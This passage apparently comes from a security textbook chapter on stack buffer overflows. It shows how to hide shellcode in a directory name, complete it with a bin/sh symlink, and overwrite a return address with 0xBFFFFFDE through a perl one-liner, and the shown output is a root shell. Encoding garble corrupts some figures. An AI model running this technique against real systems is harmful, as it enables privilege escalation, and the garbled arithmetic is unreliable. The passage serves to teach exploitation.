This is due to the fact that
the directory name contains your shellcode rather than traditional ASCII-only characters.
The subdirectory bin and the symlink sh add the required /bin/sh characters to the path,
which completes your shellcode. Now the vulnerable program can be launched via the
newly created symlink:
# `./nq_aleph.pl`/bin/sh
If you can supply command-line arguments to the program that result in an overflow,
you should be able to use a reliable return address of 0xBFFFFFDE (0xC0000000??“4??“3010)
to point right to your shellcode even though the stack may be jumping around as evidenced
by the following output:
# `./nq_aleph.pl`/bin/sh \
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFEBE0
sh-2.05b# exit
exit
# `./nq_aleph.pl`/bin/sh \
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFED60
sh-2.05b# exit
exit
# `./nq_aleph.pl`/bin/sh
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFF0E0
sh-2.05b# exit
exit
Return to libc Fun!
Today many systems ship with one or more forms of memory protection designed to
defeat injected shellcode. Reliably locating your shellcode in the stack doesn??™t do any
good when facing some of these protections.
Pages:
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828